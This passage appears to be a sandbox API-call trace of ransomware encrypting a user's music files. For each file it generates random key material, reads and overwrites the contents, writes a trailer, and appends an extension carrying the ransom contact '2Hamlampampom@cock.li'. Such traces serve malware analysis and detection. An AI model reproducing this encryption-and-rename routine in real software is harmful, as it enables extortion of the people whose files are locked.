lpNewFilePointer=0x0) returned 1 [0063.142] WriteFile (in: hFile=0x930, lpBuffer=0x95d0e18*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0xaedfd30, lpOverlapped=0x0 | out: lpBuffer=0x95d0e18*, lpNumberOfBytesWritten=0xaedfd30*=0x11d, lpOverlapped=0x0) returned 1 [0063.163] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0e18) returned 1 [0063.164] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c240) returned 1 [0063.164] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d054d0) returned 1 [0063.164] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c630) returned 1 [0063.164] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435990) returned 1 [0063.164] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435a30) returned 1 [0063.164] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435ad0) returned 1 [0063.164] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435af8) returned 1 [0063.164] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0063.164] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a" [0063.164] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0063.164] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xaedfce8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.164] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4620 [0063.165] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4620) returned 1 [0063.165] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d4c0) returned 1 [0063.165] NtQueryInformationFile (in: FileHandle=0x930, IoStatusBlock=0xaedfcf4, FileInformation=0xaedfccc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xaedfcf4, FileInformation=0xaedfccc) returned 0x0 [0063.165] NtSetInformationFile (FileHandle=0x930, IoStatusBlock=0xaedfcf4, FileInformation=0xaedfccc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.166] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.166] FlushFileBuffers (hFile=0x930) returned 1 [0066.213] CloseHandle (hObject=0x930) Thread: id = 458 os_tid = 0xe18 [0049.220] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hzzda5qz 1f0pjr u.wav")) returned 0x20 [0049.220] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav", dwFileAttributes=0x20) returned 1 [0060.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hzzda5qz 1f0pjr u.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x934 [0060.418] GetFileSizeEx (in: hFile=0x934, lpFileSize=0xaf6f83c | out: lpFileSize=0xaf6f83c*=36155) returned 1 [0060.418] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x8d37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.418] ReadFile (in: hFile=0x934, lpBuffer=0xaf6f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaf6f7bc, lpOverlapped=0x0 | out: lpBuffer=0xaf6f7c0*, lpNumberOfBytesRead=0xaf6f7bc*=0x4, lpOverlapped=0x0) returned 1 [0060.419] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435aa8 [0060.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435b20 [0060.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435b48 [0060.419] NtQuerySystemTime (in: CurrentTime=0xaf6f79c | out: CurrentTime=0xaf6f79c*=132174898243956000) returned 0x0 [0060.419] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x72d02ec0 [0060.419] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x2febdcbd [0060.419] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x7b23e570 [0060.419] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x5e2e3af9 [0060.419] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x686b955 [0060.419] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x74eda322 [0060.419] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x1da716f [0060.419] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x15ee3694 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x6aff07ab [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x2d882418 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x76c8342d [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x1b95df74 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x1ec94f29 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x6eab2814 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x47978eff [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x1b05536d [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x63d8dc91 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x59c83ad5 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x3fe8507f [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x697ff0d [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x1bdb8f2d [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x2854434b [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x29ee243a [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x268363a9 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x4a37f676 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x6251c66d [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x1d6a53e8 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x1fbed703 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x1bd0ff6d [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x34aa083f [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x2febfbe9 [0060.420] RtlRandomEx (in: Seed=0xaf6f7a8 | out: Seed=0xaf6f7a8) returned 0x2340706b [0060.433] ReadFile (in: hFile=0x934, lpBuffer=0x198ab078, nNumberOfBytesToRead=0x8d3b, lpNumberOfBytesRead=0xaf6f798, lpOverlapped=0x0 | out: lpBuffer=0x198ab078*, lpNumberOfBytesRead=0xaf6f798*=0x8d3b, lpOverlapped=0x0) returned 1 [0060.434] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.434] WriteFile (in: hFile=0x934, lpBuffer=0x198b7880*, nNumberOfBytesToWrite=0x8d3b, lpNumberOfBytesWritten=0xaf6f794, lpOverlapped=0x0 | out: lpBuffer=0x198b7880*, lpNumberOfBytesWritten=0xaf6f794*=0x8d3b, lpOverlapped=0x0) returned 1 [0062.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf370 [0062.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf398 [0062.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf398) returned 1 [0062.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x198b7880) returned 1 [0063.153] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x198ab078) returned 1 [0063.153] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aab0) returned 1 [0063.153] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c6c0) returned 1 [0063.153] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a6720 [0063.153] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.153] WriteFile (in: hFile=0x934, lpBuffer=0x41be58*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0xaf6f7fc, lpOverlapped=0x0 | out: lpBuffer=0x41be58*, lpNumberOfBytesWritten=0xaf6f7fc*=0x11b, lpOverlapped=0x0) returned 1 [0063.159] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41be58) returned 1 [0063.159] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6760) returned 1 [0063.159] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05728) returned 1 [0063.160] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6720) returned 1 [0063.160] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf370) returned 1 [0063.160] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435b20) returned 1 [0063.160] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435b70) returned 1 [0063.160] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435b98) returned 1 [0063.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d780 [0063.160] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav" [0063.160] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav.mailto[2Hamlampampom@cock.li].cd46d" [0063.160] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xaf6f7b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x4d4620 [0063.161] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4620) returned 1 [0063.161] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d4c0) returned 1 [0063.161] NtQueryInformationFile (in: FileHandle=0x934, IoStatusBlock=0xaf6f7c0, FileInformation=0xaf6f798, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xaf6f7c0, FileInformation=0xaf6f798) returned 0x0 [0063.161] NtSetInformationFile (FileHandle=0x934, IoStatusBlock=0xaf6f7c0, FileInformation=0xaf6f798, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.162] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.162] FlushFileBuffers (hFile=0x934) returned 1 [0066.212] CloseHandle (hObject=0x934) Thread: id = 459 os_tid = 0xe1c [0049.220] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\izelkiptje77_rgy.wav")) returned 0x20 [0049.220] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav", dwFileAttributes=0x20) returned 1 [0060.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\izelkiptje77_rgy.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x938 [0060.435] GetFileSizeEx (in: hFile=0x938, lpFileSize=0x2f9fd54 | out: lpFileSize=0x2f9fd54*=23851) returned 1 [0060.435] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x5d27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.435] ReadFile (in: hFile=0x938, lpBuffer=0x2f9fcd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f9fcd4, lpOverlapped=0x0 | out: lpBuffer=0x2f9fcd8*, lpNumberOfBytesRead=0x2f9fcd4*=0x4, lpOverlapped=0x0) returned 1 [0060.436] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435aa8 [0060.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435b48 [0060.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435bc0 [0060.436] NtQuerySystemTime (in: CurrentTime=0x2f9fcb4 | out: CurrentTime=0x2f9fcb4*=132174898244112000) returned 0x0 [0060.436] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x1d8e4bc1 [0060.436] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x6d5cb633 [0060.436] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x400c9f26 [0060.436] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x2a686fa4 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x1b85ddad [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x4c6d760d [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x5e772c7c [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x7c834733 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x3e4a2641 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x1bfd759d [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x4ac2fddc [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x6205e559 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x5c613d09 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x63c36b3c [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x68f7ed34 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x109ebe64 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0xff970b6 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x574fee5f [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x6817e48a [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x7a07fa41 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x68ef0c39 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x77514ef3 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x57641454 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x635db1df [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x5ea405f5 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x75123e5b [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x64d0605f [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x6a171962 [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x204db2cf [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x56ec928c [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x39226a0c [0060.437] RtlRandomEx (in: Seed=0x2f9fcc0 | out: Seed=0x2f9fcc0) returned 0x6f7f26e8 [0060.450] ReadFile (in: hFile=0x938, lpBuffer=0x198c4088, nNumberOfBytesToRead=0x5d2b, lpNumberOfBytesRead=0x2f9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x198c4088*, lpNumberOfBytesRead=0x2f9fcb0*=0x5d2b, lpOverlapped=0x0) returned 1 [0060.451] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.451] WriteFile (in: hFile=0x938, lpBuffer=0x198d0890*, nNumberOfBytesToWrite=0x5d2b, lpNumberOfBytesWritten=0x2f9fcac, lpOverlapped=0x0 | out: lpBuffer=0x198d0890*, lpNumberOfBytesWritten=0x2f9fcac*=0x5d2b, lpOverlapped=0x0) returned 1 [0062.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf398 [0062.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2d0 [0062.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2d0) returned 1 [0062.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x198d0890) returned 1 [0063.158] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x198c4088) returned 1 [0063.158] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aa38) returned 1 [0063.158] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c708) returned 1 [0063.158] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x4a66a0 [0063.158] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.158] WriteFile (in: hFile=0x938, lpBuffer=0x449d80*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x2f9fd14, lpOverlapped=0x0 | out: lpBuffer=0x449d80*, lpNumberOfBytesWritten=0x2f9fd14*=0x119, lpOverlapped=0x0) returned 1 [0063.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0063.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a66e0) returned 1 [0063.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05700) returned 1 [0063.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a66a0) returned 1 [0063.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf398) returned 1 [0063.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435b48) returned 1 [0063.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435be8) returned 1 [0063.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435c10) returned 1 [0063.180] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d780 [0063.180] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav" [0063.180] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav.mailto[2Hamlampampom@cock.li].cd46d" [0063.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2f9fccc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.180] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d460 [0063.182] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.182] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.182] NtQueryInformationFile (in: FileHandle=0x938, IoStatusBlock=0x2f9fcd8, FileInformation=0x2f9fcb0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f9fcd8, FileInformation=0x2f9fcb0) returned 0x0 [0063.182] NtSetInformationFile (FileHandle=0x938, IoStatusBlock=0x2f9fcd8, FileInformation=0x2f9fcb0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.183] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.183] FlushFileBuffers (hFile=0x938) returned 1 [0066.213] CloseHandle (hObject=0x938) Thread: id = 460 os_tid = 0xe20 [0049.221] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p8aorxu.mp3")) returned 0x20 [0049.221] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3", dwFileAttributes=0x20) returned 1 [0060.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p8aorxu.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x93c [0060.451] GetFileSizeEx (in: hFile=0x93c, lpFileSize=0xb01f94c | out: lpFileSize=0xb01f94c*=101093) returned 1 [0060.452] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x18ae1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.452] ReadFile (in: hFile=0x93c, lpBuffer=0xb01f8d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb01f8cc, lpOverlapped=0x0 | out: lpBuffer=0xb01f8d0*, lpNumberOfBytesRead=0xb01f8cc*=0x4, lpOverlapped=0x0) returned 1 [0060.453] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.453] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435aa8 [0060.453] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435bc0 [0060.453] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435c38 [0060.453] NtQuerySystemTime (in: CurrentTime=0xb01f8ac | out: CurrentTime=0xb01f8ac*=132174898244268000) returned 0x0 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x4d766092 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x301c52d7 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x570a3f8 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x2723ddb9 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x1b5b04ed [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x65bf1187 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x8e8fab6 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x33d8e51a [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x644e33b0 [0060.453] 